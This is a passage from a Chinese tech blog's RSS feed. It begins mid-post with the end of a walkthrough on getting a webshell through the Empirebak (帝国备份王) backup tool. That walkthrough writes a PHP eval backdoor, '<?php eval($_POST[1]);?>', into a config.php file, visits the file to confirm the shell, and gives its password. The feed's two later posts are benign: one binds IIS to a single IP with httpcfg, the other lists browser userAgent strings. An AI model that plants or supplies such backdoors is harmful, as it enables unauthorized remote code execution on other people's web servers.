$tb[poll20InveCount1]=1;<br />
$tb[poll20InveOpt1]=1;<br />
$tb[poll9Inve1]=1;<br />
$tb[poll9InveCount1]=1;<br />
$tb[poll9InveOpt1]=1;<br />
$tb[system]=1;</p>
<p>$b_baktype=0;<br />
$b_filesize=300;<br />
$b_bakline=500;<br />
$b_autoauf=1;<br />
$b_dbname=”s422857db0&#8243;;<br />
$b_stru=1;<br />
$b_strufour=0;<br />
$b_dbchar=”auto”;<br />
$b_beover=0;<br />
$b_insertf=”replace”;<br />
$b_autofield=”,,”;<br />
?&gt;然后替换</p>
<p>&lt;?php eval($_POST[1]);?&gt;by fhod~~~~~</p>
<p>访问</p>
<p><a rel="external" href="http://www.xxx.com/upload/bdata/safemod/config.php" target="_blank">http://www.xxx.com/upload/bdata/safemod/config.php</a><br />
能看到 by fhod~~~~~<br />
证明成功得到shell</p>
<p>密码为1</p>
<p>前提是要有管理密码能进入管理^_^</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/2008" title="2008" rel="tag">2008</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/webs" title="webs" rel="tag">webs</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" title="软件" rel="tag">软件</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/aoeempirebakeebshell.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>让IIS只监听指定IP</title>
		<link>http://www.5bay.cn/server-building/ep.html</link>
		<comments>http://www.5bay.cn/server-building/ep.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:12:50 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[错误]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=504</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/ep.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>放入Windows Server 2003安装光盘，在目录\Support\Tools\下面找到Support.msi文件，安装他。 　　安装文件也可以在http://www.cdnunion.net/soft/support.rar下载。 b.用cmd进入C:\Program Files\Support Tools目录。 c.删除0.0.0.0 　httpcfg delete iplisten -i 0.0.0.0 d.设定HTTP.sys（iis）只是侦听192.168.0.2这个IP地址，运行如下命令： httpcfg set iplisten -i 192.168.0.2 返回的错误代码0代表成功完成 e.重起http.sys，依次在dos模式执行如下命令。 net stop http /y net start w3svc f.查询现在http.sys侦听Web服务的端口。 在dos模式用如下命令： netstat -an 看看 tcp 0.0.0.0:80 0.0.0.0 listening 是否存在，如果不存在，先恭喜一下。 看看 tcp 192.168.0.2:80 &#8230;&#8230;&#8230;&#8230;&#8230; 是否存在，如果是，那就真正恭喜你了。 ########################################################## httpcfg query iplisten 查询 相关博文2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p>放入Windows <a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">Server</a> 2003安装光盘，在目录\Support\Tools\下面找到Support.msi文件，安装他。<br />
　　安装文件也可以在<a rel="external" href="http://my.dz121.com/link.php?url=http://www.cdnunion.net%2Fsoft%2Fsupport.rar" target="_blank">http://www.cdnunion.net/soft/support.rar</a>下载。<br />
b.用cmd进入C:\Program Files\Support Tools目录。<br />
c.删除0.0.0.0<br />
　httpcfg delete iplisten -i 0.0.0.0<br />
d.设定HTTP.sys（iis）只是侦听192.168.0.2这个IP地址，运行如下命令：<br />
httpcfg set iplisten -i 192.168.0.2<br />
返回的错误代码0代表成功完成<br />
e.重起http.sys，依次在dos模式执行如下命令。<br />
net stop http /y<br />
net start w3svc</p>
<p>f.查询现在http.sys侦听Web服务的端口。<br />
在dos模式用如下命令：<br />
netstat -an<br />
看看 tcp 0.0.0.0:80 0.0.0.0 listening 是否存在，如果不存在，先恭喜一下。<br />
看看 tcp 192.168.0.2:80 &#8230;&#8230;&#8230;&#8230;&#8230; 是否存在，如果是，那就真正恭喜你了。<br />
##########################################################</p>
<p>httpcfg query iplisten 查询</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/ep.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>各种浏览器的userAgent</title>
		<link>http://www.5bay.cn/server-building/gezhonglanqideuseragent.html</link>
		<comments>http://www.5bay.cn/server-building/gezhonglanqideuseragent.html#comments</comments>
		<pubDate>Sat, 22 May 2010 23:57:46 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mozilla]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[版本]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=412</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/gezhonglanqideuseragent.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>IE 而IE各个版本典型的userAgent如下： Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT) 其中，版本号是MSIE之后的数字。 Firefox Firefox几个版本的userAgent大致如下： Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070803 [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://www.5bay.cn/tag/ie" class="st_tag internal_tag" rel="tag" title="标签 ie 下的日志">IE</a></strong><br />
而IE各个版本典型的userAgent如下：<br />
<a href="http://www.5bay.cn/tag/mozilla" class="st_tag internal_tag" rel="tag" title="标签 mozilla 下的日志">Mozilla</a>/4.0 (compatible; MSIE 8.0; Windows NT 6.0)<br />
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2)<br />
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)<br />
Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)<br />
其中，版本号是MSIE之后的数字。<br />
<strong><a href="http://www.5bay.cn/tag/firefox" class="st_tag internal_tag" rel="tag" title="标签 firefox 下的日志">Firefox</a></strong><br />
Firefox几个版本的userAgent大致如下：<br />
Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1<br />
Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3<br />
Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070803 Firefox/1.5.0.12&nbsp; 其中，版本号是Firefox之后的数字。<br />
<strong>Opera</strong><br />
Opera典型的userAgent如下：<br />
Opera/9.27 (Windows NT 5.2; U; zh-cn)<br />
Opera/8.0 (Macintosh; PPC Mac OS X; U; en)<br />
Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.0<br />
其中，版本号是靠近Opera的数字。<br />
<strong>Safari</strong><br />
Safari典型的userAgent如下：<br />
Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13<br />
Mozilla/5.0 (iPhone; U; CPU like Mac OS X) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A93 Safari/419.3<br />
其版本号是Version之后的数字。<br />
<strong>Chrome</strong><br />
Chrome的userAgent是：<br />
Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13<br />
其中，版本号在Chrome之后的数字。<br />
<strong>Navigator</strong><br />
目前，Navigator的userAgent是：<br />
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6<br />
其中，版本号在Navigator之后的数字。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/innerhtmleenertexteeterhtmlqia.html" title="innerHTML、innerText和outerHTML的用法">innerHTML、innerText和outerHTML的用法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年11月17日 -- <a href="http://www.5bay.cn/me/urlseopatchsforphpok30simple.html" title="URLSEO patchs for PHPOK3.0 simple">URLSEO patchs for PHPOK3.0 simple</a> (0)</li><li>2008年11月12日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/documentbodyscrolltop%E4%B8%BA0.html" title="document.body.scrollTop为0">document.body.scrollTop为0</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/2008" title="2008" rel="tag">2008</a>, <a href="http://www.5bay.cn/tag/firefox" title="firefox" rel="tag">firefox</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/mozilla" title="mozilla" rel="tag">mozilla</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/gezhonglanqideuseragent.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

